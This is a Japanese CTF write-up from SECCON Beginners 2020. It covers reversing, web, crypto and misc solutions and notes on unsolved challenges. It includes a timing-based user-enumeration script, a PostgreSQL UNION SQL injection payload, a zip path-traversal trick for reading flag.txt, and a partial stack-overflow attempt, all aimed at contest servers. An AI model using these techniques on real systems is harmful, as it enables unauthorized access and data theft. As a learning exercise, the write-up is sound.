2020-05-23に開催されたSECCON CTF for Beginners 2020に参加しました. 766 pointの 130 thでした. 今回もPwnは解けず, Cryptoも数学的要素が入り始めるとお手上げでした. 課題は明白なのでしっかり復習しておきます.
Misc
emoemoencode
Do you know emo-emo-encode?
与えられたファイルを開くと絵文字が羅列されているので, 絵文字のエンコード形式について調べる.
絵文字はUnicode6.0から導入された要素である. 表示される媒体によって微妙に表記が異なるが, おおむね同じ意図の絵文字が表示されるようになっている.
参考URL: https://pc-pier.com/blog/2016/01/29/character-code/
この情報をフラグの形式に変換するにはどうすれば良いか考える. まずはデコードされていない素のUnicodeを眺めてみる.
眺めたら各文字に共通する 1f3
を除外すればASCIIコードになる予感を得たので試す.
Reversing
mask
The price of mask goes down. So does the point (it's easy)!
(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)
ELF64ファイルが与えられる. 実行結果より, 正しい文字列を渡せばFLAGが判明すると想定される.
# ./mask seccon{test}
Putting on masks...
qeaaedqteqtu
cacckjk`ac`i
Wrong FLAG. Try again.
Ghidraでデコンパイルしたmain関数の抜粋は以下の通り.
strcpy((char *)local_d8,*(char **)(param_2 + 8));
sVar2 = strlen((char *)local_d8);
iVar1 = (int)sVar2;
puts("Putting on masks...");
local_e0 = 0;
while (local_e0 < iVar1) {
local_98[(long)local_e0] = local_d8[(long)local_e0] & 0x75;
local_58[(long)local_e0] = local_d8[(long)local_e0] & 0xeb;
local_e0 = local_e0 + 1;
}
local_98[(long)iVar1] = 0;
local_58[(long)iVar1] = 0;
puts((char *)local_98);
puts((char *)local_58);
iVar1 = strcmp((char *)local_98,"atd4`qdedtUpetepqeUdaaeUeaqau");
if ((iVar1 == 0) &&
(iVar1 = strcmp((char *)local_58,"c`b bk`kj`KbababcaKbacaKiacki"), iVar1 == 0)) {
puts("Correct! Submit your FLAG.");
}
Correct
に到達するためにはlocal_98
とlocal_58
の文字列比較を突破する必要がある.
local_98
は入力文字列と0x75
の論理積で, local_58
は入力文字列と0xeb
の論理積である.
ここで
0x75 = 01110101
0xeb = 11101011
であるからlocal_98
とlocal_56
は互いに欠落したビットを保持している事が分かる.
以下の様にlocal_98
とlocal_56
のビットごとの論理和を取るとFLAGが手に入る.
local_98 = b"atd4`qdedtUpetepqeUdaaeUeaqau"
local_56 = b"c`b bk`kj`KbababcaKbacaKiacki"
r = ""
for i in range(len(local_98)):
r += chr(local_98[i] | local_56[i])
print(r)
yakisoba
Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)
Ghidraでデコンパイルした結果の抜粋は以下の通り.
__printf_chk(1,"FLAG: ");
iVar1 = __isoc99_scanf(&DAT_001010fb,abStack72);
if (iVar1 != 0) {
uVar2 = FUN_00100820(abStack72);
uVar3 = uVar2 & 0xffffffff;
if ((int)uVar2 == 0) {
puts("Correct!");
}
else {
uVar3 = 0;
puts("Wrong!");
}
}
FUN_00100820の戻り値が0になるような文字列を渡せば良い事が分かる.
FUN_00100820の内部をreturn 0;
で検索すると下記の通り, 文字列[0x1a]
が0の時に0を返すことが分かる.
undefined8 FUN_00100820(byte *param_1)
{
byte bVar1;
undefined8 uVar2;
...省略...
bVar1 = param_1[0x1a];
if (bVar1 == 0x78) {
return 0x75;
}
if (bVar1 < 0x79) {
if (bVar1 == 0) {
return 0;
}
...省略...
}
同様の読み方でabStack72の各要素を辿っていくと次の配列が手に入る. 先頭だけは10進数表記なので0x63に読み替える.
63 74 66 34 62 7b 73 70 34 67 68 33 74 74 31 5f 72 31 70 70 33 72 31 6e 30 7d 0
Web
Spy
As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
app.py
employees.txt
サーバプログラムとユーザーリストが与えられる. このリストの中からサーバに登録されているユーザーを特定するとフラグが入手できる.
サーバプログラムからログイン部分を確認すると, ユーザーの存在有無を確認してからパスワードを確認している事が分かる. パスワードの確認にはハッシュ計算が使われており, ユーザーが存在する場合はその分レスポンスに時間が掛かると予想される.
name = request.form["name"]
password = request.form["password"]
exists, account = db.get_account(name)
if not exists:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
以上の結果より, レスポンスに0.1秒以上を要するユーザーをanswerに渡してflagを入手するスクリプトを書いた.
import requests
import re
url = "https://spy.quals.beginners.seccon.jp/"
employees = "/root/seccon2020/employees.txt"
password = "a" * 100
with open(employees, "r") as f:
employees = f.read().split("\n")
members = []
for employee in employees:
r = requests.post(url, data={"name": employee, "password": password})
m = re.search(r"It took (.+) sec to load this page.", r.text)
if float(m.groups()[0]) > 0.1:
members.append(employee)
r = requests.post(url + "challenge", data={"answer": members})
m = re.search(r"ctf4b{.+}", r.text)
print(m.group())
Tweetstore
Search your flag!
Server: https://tweetstore.quals.beginners.seccon.jp/
File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2
サーバプログラムが与えらえる. 次の2箇所を読むとSQLiでdbuserをリークさせる問題と推察される.
dbname := "ctf"
dbuser := os.Getenv("FLAG")
dbpass := "password"
connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
db, err = sql.Open("postgres", connInfo)
var sql = "select url, text, tweeted_at from tweets"
search, ok := r.URL.Query()["search"]
if ok {
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}
現在のユーザー名を参照するシステム関数はuser
なので, search[0]に次の文字列を与えるとフラグが手に入る.
' or 1 = 1 UNION select url, user, tweeted_at from tweets--
参考: https://www.postgresql.jp/document/7.3/user/functions-misc.html
unzip
Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint:
index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)
Hint
(updated at 5/23 17:30) docker-compose.ym
dockerfileによると./flag.txt
を表示させることが目標となる.
- ./public:/var/www/web
- ./uploads:/uploads
- ./flag.txt:/flag.txt
アップロードしたファイルはfile_get_contentsで読み込まれるので, readfile関数を仕込んだphpファイルで解くことは出来ない.
filenameに../../flag.txt
を渡せば良さそうだが, その前にセッション変数files
に../../flag.txt
を格納しなくてはならない.
// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
$filepath = $user_dir . "/" . $_GET["filename"];
header("Content-Type: text/plain");
echo file_get_contents($filepath);
セッション変数files
にはzipファイルに含まれるファイル名がそのまま渡されている.
../../flag.txt
というファイルを作ることは出来ないのでzipファイルの作り方を工夫する必要がある.
// add files to $_SESSION["files"]
for ($i = 0; $i < $zip->numFiles; $i++) {
$s = $zip->statIndex($i);
if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
$_SESSION["files"][] = $s["name"];
}
}
zipがディレクトリ構造を保存することを利用して相対パスで圧縮すれば良い.
root@ubuntu:~/seccon2020# zip ctf.zip ../../flag.txt
adding: ../../flag.txt (stored 0%)
root@ubuntu:~/seccon2020# zipinfo ctf.zip
Archive: ctf.zip
Zip file size: 178 bytes, number of entries: 1
-rw-r--r-- 3.0 unx 0 bx stor 20-May-24 02:55 ../../flag.txt
1 file, 0 bytes uncompressed, 0 bytes compressed: 0.0%
../../flag.txt
を参照すればフラグが入手できる.
Crypto
R&B
Do you like rhythm and blues?
r_and_b.zip
暗号化されたフラグと暗号化スクリプトが渡される. 暗号化のキーになるFORMAT文字列に基づきrot13かbase64を繰り返している事が分かる.
for t in FORMAT:
if t == "R":
FLAG = "R" + rot13(FLAG)
if t == "B":
FLAG = "B" + base64(FLAG)
print(FLAG)
1文字目のキーに基づいて復号するスクリプトを書きフラグを入手した.
import base64
import codecs
flag = ""
with open("encoded_flag", "r") as f:
flag = f.read()
while True:
if flag[0] == "B":
flag = base64.b64decode(flag[1:]).decode()
elif flag[0] == "R":
flag = codecs.decode(flag[1:], "rot13")
else:
break
print(flag)
解けなかった問題
readme
nc readme.quals.beginners.seccon.jp 9712
pythonで書かれたサーバプログラムが渡されるので読む.
クライアントから入力された文字列をパスとして解釈させて/home/ctf/flag
を読み込めばフラグが入手できる.
#!/usr/bin/env python3
import os
assert os.path.isfile('/home/ctf/flag') # readme
if __name__ == '__main__':
path = input("File: ")
if not os.path.exists(path):
exit("[-] File not found")
if not os.path.isfile(path):
exit("[-] Not a file")
if '/' != path[0]:
exit("[-] Use absolute path")
if 'ctf' in path:
exit("[-] Path not allowed")
try:
print(open(path, 'r').read())
except:
exit("[-] Permission denied")
単純に /home/ctf/flag
を渡すと if 'ctf' in path
に引っかかるのでエスケープする方法を考える.
条件は
/ から始まること
ctf を含まないこと
ファイルのパスとして有効であること
この先に進めず駄目.
ghost
A program written by a ghost 👻
.gsファイルと出力結果が与えられる. gsって何?状態だったのでしばらくggってみたが見通しが立たず駄目.
profiler
Let's edit your profile with profiler!
Hint: You don't need to deobfuscate *.js
ユーザー登録するとtokenが発行されるのでメモしておく.
kazsocinfo
9ff66643bdd9cba37cc2477be253820a0ec9d9a3e8adacfc9484612925317649
tokenを入力すればprofileを変更できる.
但しflagを獲得できるのはadminユーザーに限られている.
以上の挙動から, adminユーザーのtokenを予想してflagを奪取する問題だと想定できる. cookieも参考になりそうだったが先に進めず.
Token
- kiritan4 : c776cfa4dc384fc59a9a270be8f924eb061a08c156619cb47486c0bd7e863b6c
- kiritan5 : f3e2db0900d115bcc7ab0ffea5e6faf66a4e8522fda264f13271986242f28d53
cookie
- kiritan4 : eyJ1aWQiOiJraXJpdGFuNCJ9.Xsl0RA.PyWEZ49YnI8YUiBzmkcfLFswc1s
- kiritan5 : eyJ1aWQiOiJraXJpdGFuNSJ9.Xsl0kQ.TGDlocSIh982wb7p0f9ke4YyJXY
Noisy equations
noise hides flag.
nc noisy-equations.quals.beginners.seccon.jp 3000
noisy-equations.zip
サーバプログラムが与えられる.
from os import getenv
from time import time
from random import getrandbits, seed
FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()
L = 256
N = len(FLAG)
def dot(A, B):
assert len(A) == len(B)
return sum([a * b for a, b in zip(A, B)])
coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]
seed(SEED)
answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]
print(coeffs)
print(answers)
coeff, FLAG, getrandbits(L), answers を算数すれば解けそうだったが, 具体的な手法が思い浮かばず駄目.
Beginner’s Stack
Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001
サーバプログラムが渡される. win関数(0x400861)を呼び出せばフラグが入手できる.
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffc9e5c0aa0 | 0x00007f85435049a0 | <-- buf
+--------------------+
0x00007ffc9e5c0aa8 | 0x0000000000000000 |
+--------------------+
0x00007ffc9e5c0ab0 | 0x0000000000000000 |
+--------------------+
0x00007ffc9e5c0ab8 | 0x00007f854371d170 |
+--------------------+
0x00007ffc9e5c0ac0 | 0x00007ffc9e5c0ad0 | <-- saved rbp (vuln)
+--------------------+
0x00007ffc9e5c0ac8 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffc9e5c0ad0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffc9e5c0ad8 | 0x00007f8543124b97 | <-- return address (main)
+--------------------+
0x00007ffc9e5c0ae0 | 0x0000000000000001 |
+--------------------+
0x00007ffc9e5c0ae8 | 0x00007ffc9e5c0bb8 |
+--------------------+
サーバプログラムをダンプして脆弱なvuln関数の内部を確認する. read(0, rbp-0x20, 0x200)なので, rbp-0x20の位置から0x200まで書き込める様になっている.
参考: https://docs.microsoft.com/ja-jp/cpp/c-runtime-library/reference/read?view=vs-2019
return addressはrbp-0x20-0x08にあるので, 0x28のパディングに加えて0x400861を書き込めばwinに飛ぶことは出来る. しかしRSPのアライメントがズレてsystemが呼べずに積んでしまった. 直接0x400861に飛ばずにpushの回数を増減させて試行錯誤したが解けず.
00000000004007f1 <main>:
4007f1: 55 push rbp
4007f2: 48 89 e5 mov rbp,rsp
4007f5: 48 8b 05 94 18 20 00 mov rax,QWORD PTR [rip+0x201894] # 602090 <stdin@@GLIBC_2.2.5>
4007fc: be 00 00 00 00 mov esi,0x0
400801: 48 89 c7 mov rdi,rax
400804: e8 57 fe ff ff call 400660 <setbuf@plt>
400809: 48 8b 05 70 18 20 00 mov rax,QWORD PTR [rip+0x201870] # 602080 <stdout@@GLIBC_2.2.5>
400810: be 00 00 00 00 mov esi,0x0
400815: 48 89 c7 mov rdi,rax
400818: e8 43 fe ff ff call 400660 <setbuf@plt>
40081d: 48 8b 05 7c 18 20 00 mov rax,QWORD PTR [rip+0x20187c] # 6020a0 <stderr@@GLIBC_2.2.5>
400824: be 00 00 00 00 mov esi,0x0
400829: 48 89 c7 mov rdi,rax
40082c: e8 2f fe ff ff call 400660 <setbuf@plt>
400831: 48 8d 35 29 00 00 00 lea rsi,[rip+0x29] # 400861 <win>
400838: 48 8d 3d 21 03 00 00 lea rdi,[rip+0x321] # 400b60 <_IO_stdin_used+0x10>
40083f: b8 00 00 00 00 mov eax,0x0
400844: e8 37 fe ff ff call 400680 <printf@plt>
400849: e8 59 ff ff ff call 4007a7 <vuln>
40084e: 48 8d 3d 40 03 00 00 lea rdi,[rip+0x340] # 400b95 <_IO_stdin_used+0x45>
400855: e8 f6 fd ff ff call 400650 <puts@plt>
40085a: b8 00 00 00 00 mov eax,0x0
40085f: 5d pop rbp
400860: c3 ret
00000000004007a7 <vuln>:
4007a7: 55 push rbp
4007a8: 48 89 e5 mov rbp,rsp
4007ab: 48 83 ec 20 sub rsp,0x20
4007af: 48 8d 45 e0 lea rax,[rbp-0x20]
4007b3: 48 89 c7 mov rdi,rax
4007b6: e8 1f 01 00 00 call 4008da <__show_stack>
4007bb: 48 8d 3d 96 03 00 00 lea rdi,[rip+0x396] # 400b58 <_IO_stdin_used+0x8>
4007c2: b8 00 00 00 00 mov eax,0x0
4007c7: e8 b4 fe ff ff call 400680 <printf@plt>
4007cc: 48 8d 45 e0 lea rax,[rbp-0x20]
4007d0: ba 00 02 00 00 mov edx,0x200
4007d5: 48 89 c6 mov rsi,rax
4007d8: bf 00 00 00 00 mov edi,0x0
4007dd: e8 ae fe ff ff call 400690 <read@plt>
4007e2: 48 8d 45 e0 lea rax,[rbp-0x20]
4007e6: 48 89 c7 mov rdi,rax
4007e9: e8 ec 00 00 00 call 4008da <__show_stack>
4007ee: 90 nop
4007ef: c9 leave
4007f0: c3 ret
0000000000400861 <win>:
400861: 55 push rbp
400862: 48 89 e5 mov rbp,rsp
400865: 48 83 ec 10 sub rsp,0x10
400869: 48 89 e0 mov rax,rsp
40086c: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
400870: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
400874: 83 e0 0f and eax,0xf
400877: 48 85 c0 test rax,rax
40087a: 74 3c je 4008b8 <win+0x57>
40087c: 48 8d 3d 17 03 00 00 lea rdi,[rip+0x317] # 400b9a <_IO_stdin_used+0x4a>
400883: e8 c8 fd ff ff call 400650 <puts@plt>
400888: 48 8d 3d 29 03 00 00 lea rdi,[rip+0x329] # 400bb8 <_IO_stdin_used+0x68>
40088f: e8 bc fd ff ff call 400650 <puts@plt>
400894: 48 8d 3d 75 03 00 00 lea rdi,[rip+0x375] # 400c10 <_IO_stdin_used+0xc0>
40089b: e8 b0 fd ff ff call 400650 <puts@plt>
4008a0: 48 8d 3d a9 03 00 00 lea rdi,[rip+0x3a9] # 400c50 <_IO_stdin_used+0x100>
4008a7: e8 a4 fd ff ff call 400650 <puts@plt>
4008ac: bf 01 00 00 00 mov edi,0x1
4008b1: e8 fa fd ff ff call 4006b0 <sleep@plt>
4008b6: eb 18 jmp 4008d0 <win+0x6f>
4008b8: 48 8d 3d bf 03 00 00 lea rdi,[rip+0x3bf] # 400c7e <_IO_stdin_used+0x12e>
4008bf: e8 8c fd ff ff call 400650 <puts@plt>
4008c4: 48 8d 3d c4 03 00 00 lea rdi,[rip+0x3c4] # 400c8f <_IO_stdin_used+0x13f>
4008cb: e8 a0 fd ff ff call 400670 <system@plt>
4008d0: bf 00 00 00 00 mov edi,0x0
4008d5: e8 c6 fd ff ff call 4006a0 <exit@plt>
その他の所感
問題サーバのステータスをGrafanaで可視化したダッシュボードが公開されていました. 面白い試みだと思います.
https://status.noc.beginners.seccon.jp
当方の環境の問題でtweetstoreにアクセスできないタイミングでここを見てしまい, サーバ死んでると誤解して運営に凸してしまったのが今回のハイライトです. ごめんなさい.